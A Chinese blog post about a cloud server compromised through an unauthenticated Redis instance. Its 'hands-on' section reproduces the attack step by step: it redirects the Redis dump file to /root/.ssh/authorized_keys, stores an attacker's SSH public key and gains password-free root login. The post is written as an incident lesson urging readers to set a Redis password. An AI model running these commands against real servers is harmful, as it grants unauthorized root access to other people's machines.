一、经过

就在昨天,我像往常一样连接到一台云服务器中的Redis进行学习,当我执行keys *查看所有键的时候,却发现返回了(empty array),也就是代表没有任何数据在Redis中,可是Redis我也并没有手动停止过(没配置过持久化,也就是重启后数据就会消失),也保证没有执行过flushdb清空数据,可数据怎么就没了呢?这让我很是好奇。

这没理由啊,后来在我的/usr/app目录下发现了一个readme.txt。

我记得我并没有创建过这个文件,于是通过vim打开他,此时我一脸小朋友问号。

让黑了???

这是我的第一反应,因为这个文件真的不是我创建的,但是我并没有相关经验去排查,一时间不知如何是好,但是要摸索啊。

仔细一想,要创建此文件,我知道的有三种办法,第一种,通过ssh连接到我的服务器,进入/usr/app,执行touch readme.txt,然后通过vim进行编辑,第二种,通过scp命令上传,第三种,通过第三方工具连接到我的服务器进行上传,如XFtp、FileZilla,但是这三种,都需要密码,但是我的密码也足够复杂,不太可能。

紧接着我通过last 命令查看最近用户的登录信息,结果发现,在前天晚上22:15确实有人登录过,也就是6月1日,共操作了18分钟,进行了不可描述的事情。

root@iZbp1brrrx37m2ijwcg751Z:~# last
root     pts/1        120.193.XX.XX  Wed Jun  3 09:11   still logged in
root     pts/1        120.193.XX.XX  Wed Jun  3 09:09 - 09:10  (00:00)
root     pts/2        120.193.XX.XX  Wed Jun  3 08:41 - 08:41  (00:00)
......root     pts/0        101.206.XX.XX  Mon Jun  1 22:15 - 22:33  (00:18)

那他是怎么知道我密码的呢?于是又通过lastb命令查看登入系统失败用户的相关信息,但是从这个列表中并没有发现在6月1有尝试登录的用户。这就更好奇了,这是一次性把密码输对了?没道理啊。

接着我脑子有点蒙。

但是突然想到ssh还可以使用公钥进行登录,那在目录/root/.ssh/authorized_keys中必然有他生成的公钥信息,接着赶紧去查看了一下。

这一看不知道,看了就头皮发麻,确实存在一个,这样他就可以直接通过ssh root@XX.XX.XX.XX免密码登录,但是他是怎么把公钥放入到authorized_keys文件的呢?

牛!!!

二、原因

后来排查了我对外开发的端口,除了80端口,供Nginx使用,还有就是Redis的6379,Nginx也不太可能啊,莫非是Redis?

由于Redis我并没有设置密码,只要知道我服务器IP的人,都可以进行连接。那Redis有什么办法可以把他的公钥保存到authorized_keys文件中呢?这又是一个问题。

突然想到save命令,他可以生成一个文件,文件中是当前内存中的数据快照,并且,这个文件可以自定义名称,恩~~~有点眉目了。但是save后生成的文件路径并不在/root/.ssh下啊,并且Redis也没有命令可以移动文件,除非Redis可以指定生成的路径。

对,没错!!Redis当然可以指定生成的路径,当即就查看了下Redis的配置。

没想到头皮又一阵发麻,这两个配置确实被改过。

那是不是这样呢?首先入侵者通过连接到Redis,之后set key 公钥,接着通过config命令修改了dir和dbfilename的值,save命令保存后,通过ssh命令直接可以免密码登录,之后他分析了我常用的目录,发现/usr/app下有我经常上传的软件,通过touch、vim进行编辑txt,留下一句,我轻轻的来,又轻轻的走了,希望真的是轻轻的走了,没搞什么吧。

这一顿操作着实骚气。

三、实战演练

既然知道了作案手法,那就来验证一下,是不是这样。

  1. 服务器启动Redis
    首先服务器中的Redis得开启,并且对外开放6379这个端口。
  2. 入侵者连接Redis
    通过./redis-cli -h ip连接到Redis
  3. 配置dir和dbfilename
xx.xx.xx.xx:6379> config set dir /root/.ssh
OK
xx.xx.xx.xx:6379> config set dbfilename authorized_keys
OK
xx.xx.xx.xx:6379> flushdb

此时通过save命令即可在/root/.ssh下生成authorized_keys文件。

  1. 生成公钥
    可以通过ssh-keygen命令 生成,运行后连续三次回车即可。
root@hxl-PC:/home/HouXinLin/apps/redis# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/SWDhF8ONl1PPGkJSDx3YYdpiz5JTNks7vw7ecmeML0 root@hxl-PC
The key's randomart image is:
+---[RSA 2048]----+
|          o..=o**|
|         . =+oBOo|
|        . =+=+o.o|
|         = *= .  |
|        S +=+..  |
|           .*+.  |
|            .=.o.|
|              *o+|
|              oE |
+----[SHA256]-----+

之后在/root/.ssh/目录下就会生成两个文件id_rsa和id_rsa.pub,第一个是私钥,第二个是公钥。id_rsa.pub中的数据就是要保存在Redis中的数据。

root@hxl-PC:/home/HouXinLin/apps/redis# cd /root/.ssh/
root@hxl-PC:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts
root@hxl-PC:~/.ssh#

但是此时还有最重要的一步,在id_rsa.pub文件中前面加两个空行!!!。

6. 利用Redis把公钥保存到authorized_keys中
由于公钥中包含空格,不可以直接使用set key 公钥进行设置,可以通过以下方式进行

root@hxl-PC:~/.ssh# cat id_rsa.pub | /home/HouXinLin/apps/redis/redis-6.0.4/src/./redis-cli -h ip -x set cer
OK

最后一步,保存。

xx.xx.xx.xx:6379> get cer
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcJFbioqs97WvFFoC3g1LECDII+IK6fWwSDQpr26itOSsnh6d2b4LDt66b6IU6EbbsXtTBuV/QrjdDFyFWPDlFSobDQNUW6K9iY47WqG37sR9XknYtXpTIniHazbH6prloa2qJpI/tHyoXnJi5gq8G3qCWtNrleVqaX0zDgWN+1mZlGmUc/FqhCWiGHeOWr01x7AFtp1UzYiJyMDQo4V1yHnXqE2JaJKwXU1jVwfYuS94qeB1Vcxn75dGQSroS3+h2UyvrArkE4WRF8JphQrvk6KtWNHN1VCKGQ57Unj67+jS/FQOV3CFygDMHZkEPJ1XHmMA0crXRo22TPYd6FOiN root@hxl-PC\n"
xx.xx.xx.xx:6379> save
OK
  1. ssh连接
    此时无需要密码,连接后可以”为所欲为“。
root@hxl-PC:~/.ssh# ssh ip
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage* MicroK8s gets a native Windows installer and command-line integration.https://ubuntu.com/blog/microk8s-installers-windows-and-macos* Canonical Livepatch is available for installation.- Reduce system reboots and improve kernel security. Activate at:https://ubuntu.com/livepatchWelcome to Alibaba Cloud Elastic Compute Service !root@iZbp1brrrx37m2ijwcg751Z:~# 

没想到服务器就这样被黑了吧?对外开发的东西一定要小心,不说了,改Redis密码去。

以上纯属虚构,如有雷同,纯属巧合。

服务器被黑,帮凶竟然是Redis相关推荐

  1. 服务器被黑给我上了一课

    当你作为一个独立开发者的时候总要面临这样那样的问题,以前认为的小概率事件也总是某个时间点蜂拥而至考验你的耐心,前一阵阵刚刚经历了一次木马惊魂 (参见文章猎豹清理大师值得我们信任么? ),这次又遇到了服 ...

  2. 一个小细节,我得云服务器被黑到崩溃,看我怎么找回数据!

    大家好,我是粗心沙比得小编,最近腾讯云服务器被黑了,这是我第二次被黑,又是一个惨痛得经历!鼓掌 先说说上次被黑得经历,上次被黑的服务器是阿里云,服务器倒是没事,仅仅是被删库了,主要原因有两点:一是外网 ...

  3. linux实践-弱密码导致服务器被黑

    本人从事IT行业以6年有余,这期间曾尝试过很多方向,但基本都不做开发.最近又开始尝试做运维.接下来就说说做运维以来遇上的第一次事故. 那天下午接到研发的工作单,要求上架2个linux的服务器,只要安装 ...

  4. [ 搭建Redis本地服务器实践系列三 ] :图解Redis客户端工具连接Redis服务器

    原文:[ 搭建Redis本地服务器实践系列三 ] :图解Redis客户端工具连接Redis服务器 上一章 [ 搭建Redis本地服务器实践系列二 ] :图解CentOS7配置Redis  介绍了Red ...

  5. 讲解Linux服务器被黑解决方法

    平时会有一些朋友遇见服务器被黑的问题,经过搜集和整理相关的相关的材料,在这里本人给大家找到了Linux服务器被黑的解决方法,希望大家看后会有不少收获.如果你安装了所有正确的补丁,拥有经过测试的防火墙, ...

  6. 服务器被黑 追寻ip_网站服务器被攻击了如何查找木马(webshell)IP 篡改的痕迹...

    很对客户网站以及服务器被攻击,被黑后,留下了很多webshell文件,也叫网站木马文件,客户对自己网站的安全也是很担忧,担心网站后期会继续被攻击篡改,毕竟没有专业的安全技术去负责网站的安全防护工作,通 ...

  7. 服务器被黑该如何查找入侵、攻击痕迹又该如何防御攻击呢?

    当公司的网站服务器被黑,被入侵导致整个网站,以及业务系统瘫痪,给企业带来的损失无法估量,但是当发生服务器被攻击的情况,作为服务器的维护人员应当在第一时间做好安全响应,对服务器以及网站应以最快的时间恢复 ...

  8. Linux 服务器被黑后处理方法

    Linux 服务器被黑后处理方法 1.检查系统用户 # less /etc/passwd # grep :0: /etc/passwd(检查是否产生了新用户,和UID.GID是0的用户) # ls - ...

  9. 服务器关机了怎么办_记一次“艰辛”的服务器反黑过程

    写在前面:这是一篇技术post,详细记述了一次作者单位的Linux操作系统反黑过程,如果你不感兴趣,也请对文首的安全建议提起重视并遵循这些建议提升(服务器的)安全性. 安全建议(按照重要性降序排列) ...

最新文章

  1. Linux系统新手学习的11点建议
  2. ng2中router-outlet用法
  3. Nginx 入门到实战,新手必懂。
  4. android官方夜间模式,Android夜间模式实践
  5. VS.NET 2005中实用的默认键
  6. linux - 虚拟机的自动安装与dhcp
  7. 1-9-假期训练心得(dp+bfs)
  8. Oracle即将发布的全新Java垃圾收集器 ZGC
  9. html中label的寬度無法修改,如何设置HTML span、label 的宽度
  10. java 文件上传 servlet_java文件上传-原始的Servlet方式
  11. Flink SQL 1.11 新功能与最佳实践
  12. 使用五种方法获取文件扩展名
  13. 通过Instant Client包来使用SQL*PLUS
  14. office2013 应用程序无法正常启动(0xc000007b)
  15. Linux安装,虚拟机VMware-workstation安装CentOS操作系统的安装手册
  16. Error:Cannot find bean: org.apache.struts.taglib.html.BEAN in any scope
  17. 各种版本的Linux 镜像下载网址
  18. 长岭县机器人项目_长岭县专业编制项目立项申请报告
  19. 中国最全亲戚关系图谱
  20. 【mongodb】连接报错Prematurely reached end of stream

热门文章

  1. 智能型超声波塑料焊接电源发生器
  2. ICMS開源内容管理系统
  3. 如何使用增强版swagger(通过网关端口看对应各个微服务的接口文档)
  4. java IDE 工具启动tomcat 时 启动不起来 一直报错的一个原因
  5. 3.Matlab——数组大小
  6. java 文件上传格式,javaweb中的文件上传(以2进制格式上传)
  7. python 画虚线_Python数据可视化 - matplotlib
  8. vue-cli3.0引入高德地图3d效果两种方法+实例+填坑
  9. canvas图片文字合成(小程序分享)
  10. 销售部门及销售经理的职能